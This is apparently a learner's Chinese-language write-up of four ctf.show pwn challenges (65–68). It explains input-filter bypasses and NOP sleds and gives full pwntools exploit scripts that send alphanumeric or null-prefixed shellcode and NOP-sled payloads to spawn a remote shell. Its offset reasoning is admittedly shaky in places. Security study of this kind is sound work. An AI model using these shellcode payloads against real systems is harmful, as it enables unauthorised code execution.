目录
前言
一、pwn65(你是一个好人)
二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)
三、pwn67(32bit nop sled)(确实不会)
四、pwn68(64bit nop sled)
前言
做起来比较吃力哈哈,自己还是太菜了,学了一些新的知识,记录一下。
一、pwn65(你是一个好人)
先checksec一下:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn65
[*] '/home/kali/桌面/ctfshoww/pwn65'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
真的感觉保护得好好的,还用了PIE,看一看代码吧。
main函数的看不了,只能瞅瞅汇编代码了。
映入眼帘的一个超大缓冲区用来存用户输入的shellcode。
.text:00000000000011BB cdqe
.text:00000000000011BD movzx eax, [rbp+rax+buf]
.text:00000000000011C5 cmp al, 60h
.text:00000000000011C7 jle short loc_11DA
.text:00000000000011C9 mov eax, [rbp+var_4]
.text:00000000000011CC cdqe
.text:00000000000011CE movzx eax, [rbp+rax+buf]
.text:00000000000011D6 cmp al, 7Ah
.text:00000000000011D8 jle short loc_1236
特别注意下面的类似的代码,cdqe 是一条指令,它的作用是将 32 位寄存器 EAX 的值扩展到 64 位寄存器 RAX 中。具体来说,它会将 EAX 的值符号扩展到 RAX,即保留 EAX 的符号位,并填充到 RAX 的高 32 位。
mov eax, [rbp+var_4]:将 var_4 的值加载到 EAX 中。
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cdqe:将 EAX 的值符号扩展到 RAX,确保 RAX 是一个 64 位的地址。
movzx eax, [rbp+rax+buf]:将 buf 缓冲区中偏移为 RAX 的字节加载到 EAX 中,并将结果零扩展到 32 位。
另外:
检查读取结果
.text:000000000000119C cmp [rbp+var_8], 0
.text:00000000000011A0 jg short loc_11AC
.text:00000000000011A2 mov eax, 0
.text:00000000000011A7 jmp locret_1254
如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。
.text:000000000000119C cmp [rbp+var_8], 0
.text:00000000000011A0 jg short loc_11AC
.text:00000000000011A2 mov eax, 0
.text:00000000000011A7 jmp locret_1254
如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。
字符范围检查
检查当前字符 AL 是否在范围 0x60 - 0x7A(小写字母 a 到 z)内:
如果 AL <= 0x60,跳转到 loc_11DA。
如果 AL <= 0x7A,跳转到 loc_1236(继续检查下一个字符)。
如果当前字符不在范围 0x60 - 0x7A 内,检查是否在范围 0x40 - 0x5A(大写字母 @ 到 Z)内:
如果 AL <= 0x40,跳转到 loc_11FC。
如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。
如果当前字符不在范围 0x40 - 0x5A 内,检查是否在范围 0x2F - 0x5A(/ 到 Z)内:
如果 AL <= 0x2F,跳转到 loc_121E。
如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。
如果字符不在任何允许的范围内,程序会输出 "Good, but not right" 并退出。
这个就是大致流程,但是这个shellcode该怎么写呢,看了大佬的做法要使用 alpha3 工具生成只包含可打印字符的 Shellcode。alpha3 可以将原始 Shellcode 编码为只包含特定字符集的版本。结合载有deepseek r1-14b的星见雅的做法,试着写了一下。由于工具安装失败,所以就试了试可视的shellcode当然要用64位那个。
还有一个很特别的地方,就是发送shellcode时一般用的sendline最后会换行,当然’\n’不是范围内的字符,所以要用send。查了一些资料:
·send 函数:
主要用于将指定的数据发送到目标连接。
不会自动在发送的数据末尾添加换行符(\n)。
·sendline 函数:
在发送数据后,通常会在数据的末尾自动添加一个换行符(\n)。
这相当于执行 send(data + '\n')。
使用 send 的情况:
当你需要精确控制发送的数据内容,包括是否包含换行符时。
如果目标程序或服务需要特定的输入格式,不带自动换行。
使用 sendline 的情况:
当你需要发送完整的命令或字符串,并希望目标程序将其视为独立的输入。
特别是在与交互式shell或控制台程序通信时,通常需要换行符来分隔不同的输入。
Ok,来试一试吧:
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28212)
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()
二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)
这又是什么玩意,快被shellcode搞疯了。
先checksec:
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn66
[*] '/home/kali/桌面/ctfshoww/pwn66'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
嘶,随便搞了一个64位的shellcode,显示error。
看看代码吧。
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
之前遇到过。
特别的,有一段验证:
调用check(buf)函数对输入的内容进行验证。如果返回值为真,则表示检测到了潜在的安全威胁或无效数据。
如果触发条件,程序打印“ ERROR !”并退出。
那就来看看check:
signed __int64 __fastcall check(_BYTE *a1)
{
const char *j; // [sp+18h] [bp-10h]@2
_BYTE *i; // [sp+20h] [bp-8h]@1
for ( i = a1; *i; ++i )
{
for ( j = "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"; *j && *j != *i; ++j )
;
if ( !*j )
return 0LL;
}
return 1LL;
}
总的来说就是需要一个以\00开头的shellcode,搜索了一下,\x00\xc0,先积累一下。
\x00B后面加上一个字符,对应一个汇编语句。我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等来绕过检查。
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00B\x22'
payload=che+shellcode
p.sendline(payload)
p.interactive()
或者:
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00\xc0'
payload=che+shellcode
p.sendline(payload)
p.interactive()
三、pwn67(32bit nop sled)(确实不会)
这是什么东东,不是很懂,又要学习新知识了。
Checksec知是32位程序,而且开了Canary。
发现这么一串然后就退出:
Please wait while loading.............Done
Receiving signal.Signal 0...Done
Signal 1.Done
Signal 2..Done
The load is complete.
Warning: The signal is weak
We need to load the ctfshow_flag.
The current location: 0xffaea4b2
What will you do?
> cat ctfshow_flag
Where do you start?
> 0xffaea4b2
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$
给了一个正确地址,可能需要进行填充覆盖到这个地址 。
拖进ida看看吧。
又不许看c代码。。。。。。
上网搜索说需要运用NOP Sled(滑坡)来解决栈地址随机化导致很难知道shellcode的内存地址。
知识:
NOP Sled(也称为 NOP Slide 或 NOP Ramp)是一种在计算机安全领域中用于缓冲区溢出攻击的技术。它通过在攻击代码(shellcode)之前插入大量 NOP(No Operation,无操作)指令来增加攻击的成功率。
工作原理:
1.NOP 指令:NOP 是一条不执行任何操作的指令,其在 x86 架构中的机器码为 \x90。当 CPU 执行 NOP 指令时,程序计数器(PC 或 EIP)会简单地递增,跳转到下一条指令。
2.缓冲区溢出攻击:在缓冲区溢出攻击中,攻击者通常需要将程序的执行流(EIP)指向攻击代码(shellcode)。然而,由于栈随机化(ASLR)的存在,攻击者很难精确知道 shellcode 的内存地址。
NOP Sled 的作用:为了应对这一问题,攻击者会在 shellcode 之前插入大量 NOP 指令,形成一个“滑坡”(sled)。只要 EIP 落在这个 NOP 区域的任意位置,执行流就会沿着 NOP 指令“滑动”,直到到达 shellcode 的起始位置并执行。
优势:
提高攻击成功率:通过增加一个较大的 NOP 区域,攻击者不需要精确控制 EIP 的值,只需让 EIP 落在 NOP Sled 的范围内即可。
对抗栈随机化:即使栈的起始地址是随机的,NOP Sled 也能显著增加攻击代码被成功执行的概率。
首先这道题并没有开启NX,我们任然可以注入shellcode,但是我们拟在 var_1010 中写入shellcode的地址并执行,因为程序最后读取了一个地址然后执行,这里可以执行shellcode,但是shellcode的参数写在哪里呢,似乎seed是个不错的选则,但是seed的准确地址我们无从得知,所以这个滑坡可以起到很大的作用,
.text:080489E2 lea eax, [ebp+seed]
.text:080489E8 push eax ; s
.text:080489E9 call _fgets
然而通过提前链接靶机知道会泄露一个地址:
char *query_position()
{
int v0; // eax@1
char *result; // eax@1
char v2; // [sp+3h] [bp-15h]@1
int v3; // [sp+4h] [bp-14h]@1
char *v4; // [sp+8h] [bp-10h]@1
int v5; // [sp+Ch] [bp-Ch]@1
_x86_get_pc_thunk_ax();
v5 = *MK_FP(__GS__, 20);
v0 = rand();
v3 = v0 % 1337 - 668;
v4 = &v2 + v3;
result = &v2 + v3;
if ( *MK_FP(__GS__, 20) != v5 )
_stack_chk_fail_local();
return result;
}
result = &v2 + v3;就是泄露的地址
当然v2在栈上,所以我们可以通过v2的真实地址计算出seed的地址,这个过程还是太吃操作,看了好久好才有所感悟(有没有及不吃操作又能做对的英雄可以推荐一下),在x86汇编中,ebp通常被用作基址指针,用于访问局部变量和函数参数。每当进入一个函数时,函数会将 ebp 保存起来,并建立新的 ebp 指针指向当前栈帧的顶部。当函数返回时,原来的 ebp 被恢复。V3是一个定值,就是v2的地址到seed的距离。因为有一个随机数处理,所以query_position()最后输出并打印的结果是position=&v2+v3=&v2+random-668(random∈(0,1336))
所以我们只要把seed填到把打印出的position所有可能出现的区间用nop sled填满,这样就一定可以滑到shellcode.
我们先用pwngdb调试一下,便携版内容不太全,结合ida
char v2; // [sp+3h] [bp-15h]@1
在运行到断点pwndbg> break query_position
Breakpoint 1 at 0x80487d5之后用
pwndbg> p $ebp - 0x15
$2 = (void *) 0xffffbe13
我们找到了v2(汗流浃背了已经),接下来是seed,实在不会了,直接照着大佬做吧。
最后算出来是0x2d
pwndbg> info registers ebp
ebp 0xffffbe28 0xffffbe28
01:0004│ ebp 0xffffbe28 —▸ 0xffffce48 ◂— 0
嘶,实在有点无能为力了0xffffce48 - 0xffffbe28 = 0x1039c(即 66,252 字节)
这里nop在 [v1,v1 +1336] 范围内我们都可以执行到 nop,然后滑向 shellcode。
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28136)
p.recvuntil("current location: ")
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil(">")
p.sendline(payload)
shellar=ar+0x2d+668
p.recvuntil(">")
p.sendline(hex(shellar))#hex将后面转化为16进制地址
p.interactive()
确实还是能打出来,不过关于计算确实不太会。
四、pwn68(64bit nop sled)
今天继续往前做,64位nop seld,一样的开了金丝雀。
拖进ida看一看。
嘿,这次可以看main函数的c语言代码了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi@1
__int64 v4; // rax@1
int result; // eax@1
__int64 v6; // rcx@1
void (*v7)(void); // [sp+8h] [bp-1018h]@1
unsigned int seed; // [sp+10h] [bp-1010h]@1
__int64 v9; // [sp+1018h] [bp-8h]@1
v9 = *MK_FP(__FS__, 40LL);
v3 = stdout;
setbuf(stdout, 0LL);
logo(v3, 0LL);
srand((unsigned __int64)&seed);
Loading();
acquire_satellites();
LODWORD(v4) = query_position();
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v4);
printf("What will you do?\n> ");
fgets((char *)&seed, 4096, stdin);
printf("Where do you start?\n> ", 4096LL);
__isoc99_scanf("%p", &v7);
v7();
result = 0;
v6 = *MK_FP(__FS__, 40LL) ^ v9;
return result;
}
还是用v7来读入shellcode的地址,用seed来写入shellcode,c代码里可以直观的看到。
__isoc99_scanf("%p", &v7);
v7();
所以需要找到seed与v7之间的偏移量。
char *query_position()
{
int v0; // eax@1
char *result; // rax@1
__int64 v2; // rsi@1
char v3; // [sp+Bh] [bp-15h]@1
int v4; // [sp+Ch] [bp-14h]@1
char *v5; // [sp+10h] [bp-10h]@1
__int64 v6; // [sp+18h] [bp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
v0 = rand();
v4 = v0 % 1337 - 668;
v5 = &v3 + v4;
result = &v3 + v4;
v2 = *MK_FP(__FS__, 40LL) ^ v6;
return result;
}
这个函数输出了一个类似地址的东西,v5 = &v3 + v4;所以v3也是我们要利用的,v4应该是常量。
关键信息:
char v3; // [sp+Bh] [bp-15h]@1
v4 = v0 % 1337 - 668;
我们pwndbg调试一下:
先在query_position处下一个断点
break query_position
pwndbg> info registers rbp
rbp 0x7fffffffcc10 0x7fffffffcc10
continue
pwndbg> info registers rbp
rbp 0x7fffffffdc40 0x7fffffffdc40
上面就是rbp的变化,这次就跟着大佬的节奏试着画一个栈布局的图吧。
0000000000400A6D sub rsp, 1020h
根据这个可以知道[main]rsp =[main]rbp-0x1020=[main]rbp-0x1020
可以双击进入v7和seed看一看偏移地址:
-0000000000001018 var_1018 dq ?
-0000000000001010 seed dd ?
试着用表格搞了一个栈分布,准确地址不太会算。
然后rbp开始变化:
再更新一下栈图(有不对的地方,毕竟才学):
大概是这个样子,不太会画。
这样比上一道题做起来清晰一点了,虽然有很多错误。
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28302)
p.recvuntil(b'location: ')
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*0x260+shellcode#0x260随便找一个比0x25C大的
p.sendline(payload)
p.sendline(hex(ar+688))
p.interactive()
试了两个nop还是汗流浃背打出来了。
还有很多不懂的地方,继续学习中......